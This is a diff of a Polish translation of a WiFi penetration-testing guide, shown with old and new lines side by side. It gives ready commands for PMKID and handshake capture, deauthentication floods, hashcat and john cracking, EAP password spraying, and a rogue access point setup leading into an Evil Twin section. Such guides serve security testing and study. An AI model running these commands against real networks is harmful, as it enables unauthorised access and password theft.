**Najnowsze Ogłoszenia**\
|
||||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
|
||||
**Latest Announcements**\
|
||||
Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platformy
|
||||
|
||||
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||||
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
|
||||
|
||||
***
|
||||
|
||||
|
@ -296,17 +299,17 @@ Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacja
|
|||
|
||||
### PMKID
|
||||
|
||||
W 2018 roku **hashcat** [ujawnił](https://hashcat.net/forum/thread-7717.html) nową metodę ataku, unikalną, ponieważ wymaga tylko **jednego pakietu** i nie wymaga, aby jakiekolwiek klienty były podłączone do docelowego AP — tylko interakcja między atakującym a AP.
|
||||
W 2018 roku **hashcat** [ujawnił](https://hashcat.net/forum/thread-7717.html) nową metodę ataku, unikalną, ponieważ potrzebuje tylko **jednego pakietu** i nie wymaga, aby jakiekolwiek urządzenia były podłączone do docelowego AP—wystarczy interakcja między atakującym a AP.
|
||||
|
||||
Wiele nowoczesnych routerów dodaje **opcjonalne pole** do **pierwszej ramki EAPOL** podczas łączenia, znane jako `Robust Security Network`. Zawiera to `PMKID`.
|
||||
Wiele nowoczesnych routerów dodaje **opcjonalne pole** do **pierwszej ramki EAPOL** podczas asocjacji, znane jako `Robust Security Network`. To zawiera `PMKID`.
|
||||
|
||||
Jak wyjaśnia oryginalny post, **PMKID** jest tworzony przy użyciu znanych danych:
|
||||
```bash
|
||||
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
||||
```
|
||||
Mając na uwadze, że "Nazwa PMK" jest stała, znamy BSSID punktu dostępu i stacji, a `PMK` jest identyczny z tym z pełnego 4-stopniowego uścisku dłoni, **hashcat** może wykorzystać te informacje do złamania PSK i odzyskania hasła!
|
||||
Biorąc pod uwagę, że "Nazwa PMK" jest stała, znamy BSSID AP i stacji, a `PMK` jest identyczny z tym z pełnego 4-etapowego uścisku dłoni, **hashcat** może wykorzystać te informacje do złamania PSK i odzyskania hasła!
|
||||
|
||||
Aby **zbadać** te informacje i **przeprowadzić** lokalnie atak brutalnej siły na hasło, możesz:
|
||||
Aby **zgromadzić** te informacje i **bruteforce'ować** lokalnie hasło, możesz zrobić:
|
||||
```bash
|
||||
airmon-ng check kill
|
||||
airmon-ng start wlan0
|
||||
|
@ -318,16 +321,16 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
|
|||
#You can also obtains PMKIDs using eaphammer
|
||||
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
|
||||
```
|
||||
Złapane **PMKIDs** zostaną pokazane w **konsoli** i również **zapisane** wewnątrz \_ **/tmp/attack.pcap**\_\
|
||||
Teraz przekonwertuj przechwycenie do formatu **hashcat/john** i złam go:
|
||||
Złapane **PMKIDy** będą wyświetlane w **konsoli** i również **zapisane** w \_ **/tmp/attack.pcap**\_\
|
||||
Teraz przekształć zrzut do formatu **hashcat/john** i złam go:
|
||||
```bash
|
||||
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
||||
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
||||
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
```
|
||||
Proszę zauważyć, że poprawny format hasha zawiera **4 części**, takie jak: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838`. Jeśli twój zawiera **tylko** **3 części**, to jest **nieprawidłowy** (przechwycenie PMKID nie było ważne).
|
||||
Proszę zauważyć, że format poprawnego hasha zawiera **4 części**, jak: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Jeśli Twój **zawiera tylko** **3 części**, to jest **nieprawidłowy** (przechwycenie PMKID nie było ważne).
|
||||
|
||||
Zauważ, że `hcxdumptool` **również przechwytuje handshake** (coś w tym stylu się pojawi: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Możesz **przekształcić** handshake do formatu **hashcat**/**john** używając `cap2hccapx`.
|
||||
Zauważ, że `hcxdumptool` **również przechwytuje handshake'i** (coś takiego się pojawi: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Możesz **przekształcić** **handshake'i** do formatu **hashcat**/**john** używając `cap2hccapx`
|
||||
```bash
|
||||
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
|
||||
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
|
||||
|
@ -335,32 +338,32 @@ hccap2john pmkid.hccapx > handshake.john
|
|||
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
||||
```
|
||||
_Zauważyłem, że niektóre uchwwyty rękojmi wykonane tym narzędziem nie mogły zostać złamane, nawet znając poprawne hasło. Zalecam przechwytywanie rękojmi również tradycyjnym sposobem, jeśli to możliwe, lub przechwycenie kilku z nich za pomocą tego narzędzia._
|
||||
_Zauważyłem, że niektóre przechwycone handshake za pomocą tego narzędzia nie mogły być złamane, nawet znając poprawne hasło. Zalecałbym przechwytywanie handshake również w tradycyjny sposób, jeśli to możliwe, lub przechwytywanie ich kilku za pomocą tego narzędzia._
|
||||
|
||||
### Przechwytywanie rękojmi
|
||||
### Przechwytywanie handshake
|
||||
|
||||
Atak na sieci **WPA/WPA2** może być przeprowadzony poprzez przechwycenie **rękojmi** i próbę **zlania** hasła **offline**. Ten proces polega na monitorowaniu komunikacji określonej sieci i **BSSID** na konkretnym **kanale**. Oto uproszczony przewodnik:
|
||||
Atak na sieci **WPA/WPA2** można przeprowadzić poprzez przechwycenie **handshake** i próbę **złamania** hasła **offline**. Proces ten polega na monitorowaniu komunikacji konkretnej sieci i **BSSID** na określonym **kanale**. Oto uproszczony przewodnik:
|
||||
|
||||
1. Zidentyfikuj **BSSID**, **kanał** i **podłączonego klienta** docelowej sieci.
|
||||
2. Użyj `airodump-ng`, aby monitorować ruch sieciowy na określonym kanale i BSSID, w nadziei na przechwycenie rękojmi. Polecenie będzie wyglądać tak:
|
||||
1. Zidentyfikuj **BSSID**, **kanał** i **połączonego klienta** docelowej sieci.
|
||||
2. Użyj `airodump-ng`, aby monitorować ruch sieciowy na określonym kanale i BSSID, mając nadzieję na przechwycenie handshake. Komenda będzie wyglądać następująco:
|
||||
```bash
|
||||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||||
```
|
||||
3. Aby zwiększyć szansę na przechwycenie handshake'a, na chwilę odłącz klienta od sieci, aby wymusić ponowną autoryzację. Można to zrobić za pomocą polecenia `aireplay-ng`, które wysyła pakietu deautoryzacyjne do klienta:
|
||||
3. Aby zwiększyć szansę na przechwycenie handshake, chwilowo odłącz klienta od sieci, aby wymusić ponowną autoryzację. Można to zrobić za pomocą polecenia `aireplay-ng`, które wysyła pakiety deautoryzacji do klienta:
|
||||
```bash
|
||||
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
|
||||
```
|
||||
_Należy pamiętać, że gdy klient zostanie wylogowany, może próbować połączyć się z innym AP lub, w innych przypadkach, z inną siecią._
|
||||
_Note, że gdy klient został zdezautoryzowany, mógł spróbować połączyć się z innym AP lub, w innych przypadkach, z inną siecią._
|
||||
|
||||
Gdy w `airodump-ng` pojawią się informacje dotyczące handshake'u, oznacza to, że handshake został przechwycony i można zakończyć nasłuchiwanie:
|
||||
Gdy w `airodump-ng` pojawią się informacje o handshake, oznacza to, że handshake został przechwycony i możesz przestać nasłuchiwać:
|
||||
|
||||
![](<../../.gitbook/assets/image (172) (1).png>)
|
||||
|
||||
Po przechwyceniu handshake'u można go **złamać** za pomocą `aircrack-ng`:
|
||||
Gdy handshake zostanie przechwycony, możesz go **złamać** za pomocą `aircrack-ng`:
|
||||
```
|
||||
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
|
||||
```
|
||||
### Sprawdź, czy w pliku jest handshake
|
||||
### Sprawdź, czy handshake jest w pliku
|
||||
|
||||
**aircrack**
|
||||
```bash
|
||||
|
@ -374,7 +377,7 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
|
|||
```
|
||||
cowpatty -r psk-01.cap -s "ESSID" -f -
|
||||
```
|
||||
_Jeśli to narzędzie znajdzie niekompletny handshake ESSID przed ukończonym, nie wykryje poprawnego._
|
||||
_Jeśli to narzędzie znajdzie niekompletny handshake ESSID przed ukończonym, nie wykryje ważnego._
|
||||
|
||||
**pyrit**
|
||||
```bash
|
||||
|
@ -383,59 +386,59 @@ pyrit -r psk-01.cap analyze
|
|||
```
|
||||
## **WPA Enterprise (MGT)**
|
||||
|
||||
W **konfiguracjach WiFi dla firm, napotkasz różne metody uwierzytelniania**, z których każda zapewnia inne poziomy bezpieczeństwa i funkcje zarządzania. Korzystając z narzędzi takich jak `airodump-ng` do analizy ruchu sieciowego, możesz zauważyć identyfikatory tych typów uwierzytelniania. Niektóre powszechne metody obejmują:
|
||||
W **ustawieniach WiFi dla przedsiębiorstw napotkasz różne metody uwierzytelniania**, z których każda oferuje różne poziomy bezpieczeństwa i funkcje zarządzania. Gdy używasz narzędzi takich jak `airodump-ng`, aby sprawdzić ruch sieciowy, możesz zauważyć identyfikatory dla tych typów uwierzytelniania. Niektóre powszechne metody to:
|
||||
```
|
||||
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
||||
```
|
||||
1. **EAP-GTC (Generic Token Card)**:
|
||||
* Ta metoda obsługuje tokeny sprzętowe i jednorazowe hasła w ramach EAP-PEAP. W przeciwieństwie do MSCHAPv2, nie korzysta z wyzwania rówieśnika i przesyła hasła w postaci tekstowej do punktu dostępu, co stwarza ryzyko ataków typu downgrade.
|
||||
* Ta metoda obsługuje tokeny sprzętowe i jednorazowe hasła w ramach EAP-PEAP. W przeciwieństwie do MSCHAPv2, nie używa wyzwania od partnera i wysyła hasła w postaci niezaszyfrowanej do punktu dostępowego, co stwarza ryzyko ataków typu downgrade.
|
||||
2. **EAP-MD5 (Message Digest 5)**:
|
||||
* Polega na wysyłaniu skrótu MD5 hasła z klienta. **Nie jest zalecane** ze względu na podatność na ataki słownikowe, brak uwierzytelniania serwera i brak możliwości generowania sesyjnych kluczy WEP.
|
||||
* Polega na wysyłaniu hasha MD5 hasła z klienta. **Nie jest zalecane** z powodu podatności na ataki słownikowe, braku uwierzytelnienia serwera oraz niemożności generowania kluczy WEP specyficznych dla sesji.
|
||||
3. **EAP-TLS (Transport Layer Security)**:
|
||||
* Wykorzystuje certyfikaty po stronie klienta i serwera do uwierzytelniania oraz może dynamicznie generować klucze WEP oparte na użytkowniku i sesji w celu zabezpieczenia komunikacji.
|
||||
4. **EAP-TTLS (Tunelowany Transport Layer Security)**:
|
||||
* Zapewnia uwierzytelnianie wzajemne poprzez zaszyfrowany tunel, wraz z metodą generowania dynamicznych, per-user, per-session kluczy WEP. Wymaga tylko certyfikatów po stronie serwera, a klienci używają poświadczeń.
|
||||
* Wykorzystuje zarówno certyfikaty po stronie klienta, jak i serwera do uwierzytelniania i może dynamicznie generować klucze WEP oparte na użytkownikach i sesjach w celu zabezpieczenia komunikacji.
|
||||
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
|
||||
* Zapewnia wzajemne uwierzytelnianie przez zaszyfrowany tunel, a także metodę do wyprowadzania dynamicznych kluczy WEP dla każdego użytkownika i sesji. Wymaga tylko certyfikatów po stronie serwera, a klienci używają poświadczeń.
|
||||
5. **PEAP (Protected Extensible Authentication Protocol)**:
|
||||
* Działa podobnie do EAP, tworząc tunel TLS do chronionej komunikacji. Pozwala na użycie słabszych protokołów uwierzytelniania na EAP ze względu na ochronę zapewnianą przez tunel.
|
||||
* **PEAP-MSCHAPv2**: Często nazywane PEAP, łączy podatny mechanizm wyzwania/odpowiedzi MSCHAPv2 z ochronnym tunelem TLS.
|
||||
* **PEAP-EAP-TLS (lub PEAP-TLS)**: Podobne do EAP-TLS, ale inicjuje tunel TLS przed wymianą certyfikatów, oferując dodatkową warstwę zabezpieczeń.
|
||||
* Działa podobnie do EAP, tworząc tunel TLS dla chronionej komunikacji. Umożliwia użycie słabszych protokołów uwierzytelniania na szczycie EAP dzięki ochronie oferowanej przez tunel.
|
||||
* **PEAP-MSCHAPv2**: Często określane jako PEAP, łączy podatny mechanizm wyzwania/odpowiedzi MSCHAPv2 z ochronnym tunelem TLS.
|
||||
* **PEAP-EAP-TLS (lub PEAP-TLS)**: Podobne do EAP-TLS, ale inicjuje tunel TLS przed wymianą certyfikatów, oferując dodatkową warstwę bezpieczeństwa.
|
||||
|
||||
Więcej informacji na temat tych metod uwierzytelniania znajdziesz [tutaj](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) i [tutaj](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
|
||||
Możesz znaleźć więcej informacji na temat tych metod uwierzytelniania [tutaj](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) i [tutaj](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
|
||||
|
||||
### Przechwytywanie Nazwy Użytkownika
|
||||
### Przechwytywanie nazwy użytkownika
|
||||
|
||||
Czytając [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) wygląda na to, że jeśli używasz **EAP**, **"Identity"** **messages** muszą być **obsługiwane**, a **nazwa użytkownika** zostanie przesłana w **czystej postaci** w wiadomościach **"Response Identity"**.
|
||||
Czytając [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), wygląda na to, że jeśli używasz **EAP**, to **"Identity"** **messages** muszą być **obsługiwane**, a **nazwa użytkownika** będzie wysyłana w **czystym** w **"Response Identity"** messages.
|
||||
|
||||
Nawet korzystając z jednej z najbardziej bezpiecznych metod uwierzytelniania: **PEAP-EAP-TLS**, możliwe jest **przechwycenie nazwy użytkownika wysłanej w protokole EAP**. Aby to zrobić, **przechwyć komunikację uwierzytelniania** (uruchom `airodump-ng` na kanale i `wireshark` na tej samej interfejsie) i przefiltruj pakiety za pomocą `eapol`.\
|
||||
Nawet używając jednej z najbezpieczniejszych metod uwierzytelniania: **PEAP-EAP-TLS**, możliwe jest **przechwycenie nazwy użytkownika wysłanej w protokole EAP**. Aby to zrobić, **przechwyć komunikację uwierzytelniającą** (uruchom `airodump-ng` w kanale i `wireshark` na tym samym interfejsie) i filtruj pakiety według `eapol`.\
|
||||
W pakiecie "**Response, Identity**" pojawi się **nazwa użytkownika** klienta.
|
||||
|
||||
![](<../../.gitbook/assets/image (850).png>)
|
||||
|
||||
### Anonimowe Tożsamości
|
||||
### Anonimowe tożsamości
|
||||
|
||||
Ukrywanie tożsamości jest obsługiwane zarówno przez EAP-PEAP, jak i EAP-TTLS. W kontekście sieci WiFi, żądanie EAP-Identity jest zazwyczaj inicjowane przez punkt dostępu (AP) podczas procesu łączenia. Aby zapewnić ochronę anonimowości użytkownika, odpowiedź klienta EAP na urządzeniu użytkownika zawiera tylko niezbędne informacje wymagane do przetworzenia żądania przez początkowy serwer RADIUS. Ten koncept jest zilustrowany poprzez następujące scenariusze:
|
||||
Ukrywanie tożsamości jest obsługiwane zarówno przez EAP-PEAP, jak i EAP-TTLS. W kontekście sieci WiFi, żądanie EAP-Identity jest zazwyczaj inicjowane przez punkt dostępowy (AP) podczas procesu asocjacji. Aby zapewnić ochronę anonimowości użytkownika, odpowiedź z klienta EAP na urządzeniu użytkownika zawiera tylko niezbędne informacje wymagane do przetworzenia żądania przez początkowy serwer RADIUS. Koncepcja ta jest ilustrowana przez następujące scenariusze:
|
||||
|
||||
* EAP-Identity = anonymous
|
||||
* W tym scenariuszu wszyscy użytkownicy używają pseudonimu "anonymous" jako identyfikatora użytkownika. Początkowy serwer RADIUS działa jako serwer EAP-PEAP lub EAP-TTLS, odpowiedzialny za zarządzanie serwerową stroną protokołu PEAP lub TTLS. Wewnętrzna (chroniona) metoda uwierzytelniania jest następnie obsługiwana lokalnie lub przekazywana do zdalnego (domowego) serwera RADIUS.
|
||||
* EAP-Identity = anonymous@realm\_x
|
||||
* W tej sytuacji użytkownicy z różnych domen ukrywają swoje tożsamości, jednocześnie wskazując swoje odpowiednie domeny. Pozwala to początkowemu serwerowi RADIUS na przekierowanie żądań EAP-PEAP lub EAP-TTLS do serwerów RADIUS w ich domenach domowych, które działają jako serwer PEAP lub TTLS. Początkowy serwer RADIUS działa wyłącznie jako węzeł przekazywania RADIUS.
|
||||
* Alternatywnie, początkowy serwer RADIUS może działać jako serwer EAP-PEAP lub EAP-TTLS i albo obsługiwać chronioną metodę uwierzytelniania, albo przekazywać ją do innego serwera. Ta opcja ułatwia konfigurację różnych polityk dla różnych domen.
|
||||
* EAP-Identity = anonimowy
|
||||
* W tym scenariuszu wszyscy użytkownicy używają pseudonimowego "anonimowy" jako swojego identyfikatora użytkownika. Początkowy serwer RADIUS działa jako serwer EAP-PEAP lub EAP-TTLS, odpowiedzialny za zarządzanie stroną serwera protokołu PEAP lub TTLS. Wewnętrzna (chroniona) metoda uwierzytelniania jest następnie obsługiwana lokalnie lub delegowana do zdalnego (domowego) serwera RADIUS.
|
||||
* EAP-Identity = anonimowy@realm\_x
|
||||
* W tej sytuacji użytkownicy z różnych królestw ukrywają swoje tożsamości, jednocześnie wskazując swoje odpowiednie królestwa. Umożliwia to początkowemu serwerowi RADIUS proxy żądania EAP-PEAP lub EAP-TTLS do serwerów RADIUS w ich domowych królestwach, które działają jako serwer PEAP lub TTLS. Początkowy serwer RADIUS działa wyłącznie jako węzeł przekaźnikowy RADIUS.
|
||||
* Alternatywnie, początkowy serwer RADIUS może działać jako serwer EAP-PEAP lub EAP-TTLS i albo obsługiwać chronioną metodę uwierzytelniania, albo przekazywać ją do innego serwera. Ta opcja ułatwia konfigurację odmiennych polityk dla różnych królestw.
|
||||
|
||||
W EAP-PEAP, gdy tunel TLS jest ustanowiony między serwerem PEAP a klientem PEAP, serwer PEAP inicjuje żądanie EAP-Identity i przesyła je przez tunel TLS. Klient odpowiada na to drugie żądanie EAP-Identity, wysyłając odpowiedź EAP-Identity zawierającą prawdziwą tożsamość użytkownika przez zaszyfrowany tunel. Ten sposób skutecznie zapobiega ujawnieniu rzeczywistej tożsamości użytkownika osobie podsłuchującej ruch 802.11.
|
||||
W EAP-PEAP, po nawiązaniu tunelu TLS między serwerem PEAP a klientem PEAP, serwer PEAP inicjuje żądanie EAP-Identity i przesyła je przez tunel TLS. Klient odpowiada na to drugie żądanie EAP-Identity, wysyłając odpowiedź EAP-Identity zawierającą prawdziwą tożsamość użytkownika przez zaszyfrowany tunel. To podejście skutecznie zapobiega ujawnieniu rzeczywistej tożsamości użytkownika komukolwiek podsłuchującemu ruch 802.11.
|
||||
|
||||
EAP-TTLS postępuje nieco inaczej. W przypadku EAP-TTLS, klient zazwyczaj uwierzytelnia się za pomocą PAP lub CHAP, zabezpieczonych przez tunel TLS. W tym przypadku klient zawiera atrybut User-Name oraz atrybut Password lub CHAP-Password w początkowej wiadomości TLS wysłanej po ustanowieniu tunelu.
|
||||
EAP-TTLS postępuje nieco inaczej. W przypadku EAP-TTLS klient zazwyczaj uwierzytelnia się za pomocą PAP lub CHAP, zabezpieczonych przez tunel TLS. W tym przypadku klient dołącza atrybut User-Name oraz atrybut Password lub CHAP-Password w początkowej wiadomości TLS wysyłanej po nawiązaniu tunelu.
|
||||
|
||||
Niezależnie od wybranego protokołu, serwer PEAP/TTLS uzyskuje wiedzę o prawdziwej tożsamości użytkownika po ustanowieniu tunelu TLS. Prawdziwa tożsamość może być przedstawiona jako user@realm lub po prostu user. Jeśli serwer PEAP/TTLS jest również odpowiedzialny za uwierzytelnianie użytkownika, teraz posiada tożsamość użytkownika i kontynuuje metodę uwierzytelniania chronioną przez tunel TLS. Alternatywnie, serwer PEAP/TTLS może przekazać nowe żądanie RADIUS do domowego serwera RADIUS użytkownika. Nowe żądanie RADIUS pomija warstwę protokołu PEAP lub TTLS. W przypadkach, gdy chroniona metoda uwierzytelniania to EAP, wewnętrzne wiadomości EAP są przesyłane do domowego serwera RADIUS bez opakowania EAP-PEAP lub EAP-TTLS. Atrybut User-Name w wychodzącej wiadomości RADIUS zawiera prawdziwą tożsamość użytkownika, zastępując anonimowy User-Name z przychodzącego żądania RADIUS. Gdy chroniona metoda uwierzytelniania to PAP lub CHAP (obsługiwane tylko przez TTLS), atrybuty User-Name i inne atrybuty uwierzytelniania wydobyte z ładunku TLS są zastępowane w wychodzącej wiadomości RADIUS, zastępując anonimowy User-Name i atrybuty TTLS EAP-Message znalezione w przychodzącym żądaniu RADIUS.
|
||||
Bez względu na wybrany protokół, serwer PEAP/TTLS uzyskuje wiedzę o prawdziwej tożsamości użytkownika po nawiązaniu tunelu TLS. Prawdziwa tożsamość może być reprezentowana jako user@realm lub po prostu user. Jeśli serwer PEAP/TTLS jest również odpowiedzialny za uwierzytelnienie użytkownika, teraz posiada tożsamość użytkownika i kontynuuje metodę uwierzytelniania chronioną przez tunel TLS. Alternatywnie, serwer PEAP/TTLS może przekazać nowe żądanie RADIUS do domowego serwera RADIUS użytkownika. To nowe żądanie RADIUS pomija warstwę protokołu PEAP lub TTLS. W przypadkach, gdy chroniona metoda uwierzytelniania to EAP, wewnętrzne wiadomości EAP są przesyłane do domowego serwera RADIUS bez opakowania EAP-PEAP lub EAP-TTLS. Atrybut User-Name wiadomości RADIUS wychodzącej zawiera prawdziwą tożsamość użytkownika, zastępując anonimową nazwę użytkownika z przychodzącego żądania RADIUS. Gdy chroniona metoda uwierzytelniania to PAP lub CHAP (obsługiwane tylko przez TTLS), atrybut User-Name i inne atrybuty uwierzytelniania wyodrębnione z ładunku TLS są zastępowane w wychodzącej wiadomości RADIUS, zastępując anonimową nazwę użytkownika i atrybuty TTLS EAP-Message znajdujące się w przychodzącym żądaniu RADIUS.
|
||||
|
||||
Więcej informacji znajdziesz pod adresem [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
|
||||
Aby uzyskać więcej informacji, sprawdź [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
|
||||
|
||||
### EAP-Bruteforce (password spray)
|
||||
|
||||
Jeśli oczekuje się, że klient użyje **nazwy użytkownika i hasła** (zauważ, że **EAP-TLS nie będzie ważne** w tym przypadku), można spróbować uzyskać **listę** **nazw użytkowników** (patrz następna część) i **hasła** oraz spróbować **przeprowadzić atak brutalnej siły** na dostęp za pomocą [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
|
||||
Jeśli oczekuje się, że klient użyje **nazwa użytkownika i hasło** (zauważ, że **EAP-TLS nie będzie ważne** w tym przypadku), możesz spróbować uzyskać **listę** **nazw użytkowników** (zobacz następna część) i **haseł** i spróbować **bruteforce** dostępu za pomocą [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
|
||||
```bash
|
||||
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
|
||||
```
|
||||
Możesz również przeprowadzić ten atak, korzystając z `eaphammer`:
|
||||
Możesz również przeprowadzić ten atak za pomocą `eaphammer`:
|
||||
```bash
|
||||
./eaphammer --eap-spray \
|
||||
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
|
||||
|
@ -443,38 +446,38 @@ Możesz również przeprowadzić ten atak, korzystając z `eaphammer`:
|
|||
--password bananas \
|
||||
--user-list users.txt
|
||||
```
|
||||
## Teoria ataków klientów
|
||||
## Teoria ataków na klienta
|
||||
|
||||
### Wybór sieci i roaming
|
||||
|
||||
* Protokół 802.11 określa, jak stacja dołącza do Rozszerzonego Zbioru Usług (ESS), ale nie określa kryteriów wyboru ESS ani punktu dostępu (AP) w nim.
|
||||
* Stacje mogą przechodzić między AP, które dzielą tę samą ESSID, utrzymując łączność w budynku lub obszarze.
|
||||
* Protokół 802.11 definiuje, jak stacja dołącza do Rozszerzonego Zestawu Usług (ESS), ale nie określa kryteriów wyboru ESS lub punktu dostępowego (AP) w jego obrębie.
|
||||
* Stacje mogą przemieszczać się między AP, które dzielą ten sam ESSID, utrzymując łączność w budynku lub obszarze.
|
||||
* Protokół wymaga uwierzytelnienia stacji do ESS, ale nie nakłada obowiązku uwierzytelnienia AP do stacji.
|
||||
|
||||
### Listy Preferowanych Sieci (PNL)
|
||||
### Lista preferowanych sieci (PNL)
|
||||
|
||||
* Stacje przechowują ESSID każdej sieci bezprzewodowej, do której się łączą, w swojej Liście Preferowanych Sieci (PNL), wraz z szczegółami konfiguracji specyficznymi dla sieci.
|
||||
* PNL jest używana do automatycznego łączenia się z znanymi sieciami, poprawiając doświadczenie użytkownika poprzez usprawnienie procesu łączenia.
|
||||
* PNL jest używana do automatycznego łączenia się z znanymi sieciami, poprawiając doświadczenie użytkownika poprzez uproszczenie procesu łączenia.
|
||||
|
||||
### Skanowanie pasywne
|
||||
|
||||
* AP okresowo nadaje ramki sygnalizacyjne, ogłaszając swoją obecność i funkcje, w tym ESSID AP, chyba że nadawanie jest wyłączone.
|
||||
* Podczas skanowania pasywnego stacje nasłuchują ramek sygnalizacyjnych. Jeśli ESSID ramki sygnalizacyjnej pasuje do wpisu w PNL stacji, stacja może automatycznie połączyć się z tym AP.
|
||||
* Znajomość PNL urządzenia pozwala na potencjalne wykorzystanie poprzez naśladowanie ESSID znanej sieci, zmylając urządzenie do połączenia z podstępnym AP.
|
||||
* AP okresowo nadają ramki beacon, ogłaszając swoją obecność i cechy, w tym ESSID AP, chyba że nadawanie jest wyłączone.
|
||||
* Podczas skanowania pasywnego stacje nasłuchują ramek beacon. Jeśli ESSID beacona pasuje do wpisu w PNL stacji, stacja może automatycznie połączyć się z tym AP.
|
||||
* Znajomość PNL urządzenia umożliwia potencjalne wykorzystanie poprzez naśladowanie ESSID znanej sieci, oszukując urządzenie, aby połączyło się z nieautoryzowanym AP.
|
||||
|
||||
### Aktywne sondowanie
|
||||
|
||||
* Aktywne sondowanie polega na wysyłaniu przez stacje żądań sondy w celu odkrycia pobliskich AP i ich cech.
|
||||
* Skierowane żądania sondy są kierowane do określonego ESSID, pomagając wykryć, czy określona sieć jest w zasięgu, nawet jeśli jest to ukryta sieć.
|
||||
* Sondy rozgłoszeniowe mają pole SSID o wartości null i są wysyłane do wszystkich pobliskich AP, pozwalając stacji sprawdzić, czy istnieje jakakolwiek preferowana sieć, nie ujawniając zawartości swojego PNL.
|
||||
* Aktywne sondowanie polega na wysyłaniu przez stacje żądań sondowania w celu odkrycia pobliskich AP i ich cech.
|
||||
* Ukierunkowane żądania sondowania celują w konkretny ESSID, pomagając wykryć, czy dana sieć jest w zasięgu, nawet jeśli jest ukryta.
|
||||
* Żądania sondowania rozgłoszeniowego mają pustą sekcję SSID i są wysyłane do wszystkich pobliskich AP, pozwalając stacji sprawdzić, czy istnieje jakaś preferowana sieć bez ujawniania zawartości swojej PNL.
|
||||
|
||||
## Prosty AP z przekierowaniem do Internetu
|
||||
|
||||
Zanim wyjaśnimy, jak przeprowadzić bardziej złożone ataki, zostanie wyjaśnione **jak** po prostu **utworzyć** **AP** i **przekierować** jego **ruch** do interfejsu podłączonego **do** **Internetu**.
|
||||
Zanim wyjaśnione zostanie, jak przeprowadzać bardziej złożone ataki, zostanie wyjaśnione **jak** po prostu **utworzyć** **AP** i **przekierować** jego **ruch** do interfejsu podłączonego **do** **Internetu**.
|
||||
|
||||
Korzystając z `ifconfig -a`, sprawdź, czy interfejs wlan do utworzenia AP i interfejs podłączony do Internetu są obecne.
|
||||
Używając `ifconfig -a`, sprawdź, czy interfejs wlan do utworzenia AP oraz interfejs podłączony do Internetu są obecne.
|
||||
|
||||
### DHCP & DNS
|
||||
### DHCP i DNS
|
||||
```bash
|
||||
apt-get install dnsmasq #Manages DHCP and DNS
|
||||
```
|
||||
|
@ -490,12 +493,12 @@ log-queries
|
|||
log-dhcp
|
||||
listen-address=127.0.0.1
|
||||
```
|
||||
Następnie **ustaw adresy IP** i **trasy**:
|
||||
Następnie **ustaw IP** i **trasy**:
|
||||
```bash
|
||||
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
|
||||
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
|
||||
```
|
||||
Następnie **uruchom** dnsmasq:
|
||||
A następnie **uruchom** dnsmasq:
|
||||
```bash
|
||||
dnsmasq -C dnsmasq.conf -d
|
||||
```
|
||||
|
@ -528,58 +531,58 @@ iwconfig wlan0 mode monitor
|
|||
ifconfig wlan0 up
|
||||
hostapd ./hostapd.conf
|
||||
```
|
||||
### Przekierowywanie i przekierowanie
|
||||
### Przekazywanie i Przekierowanie
|
||||
```bash
|
||||
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
|
||||
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
|
||||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
```
|
||||
## Złośliwy bliźniak
|
||||
## Evil Twin
|
||||
|
||||
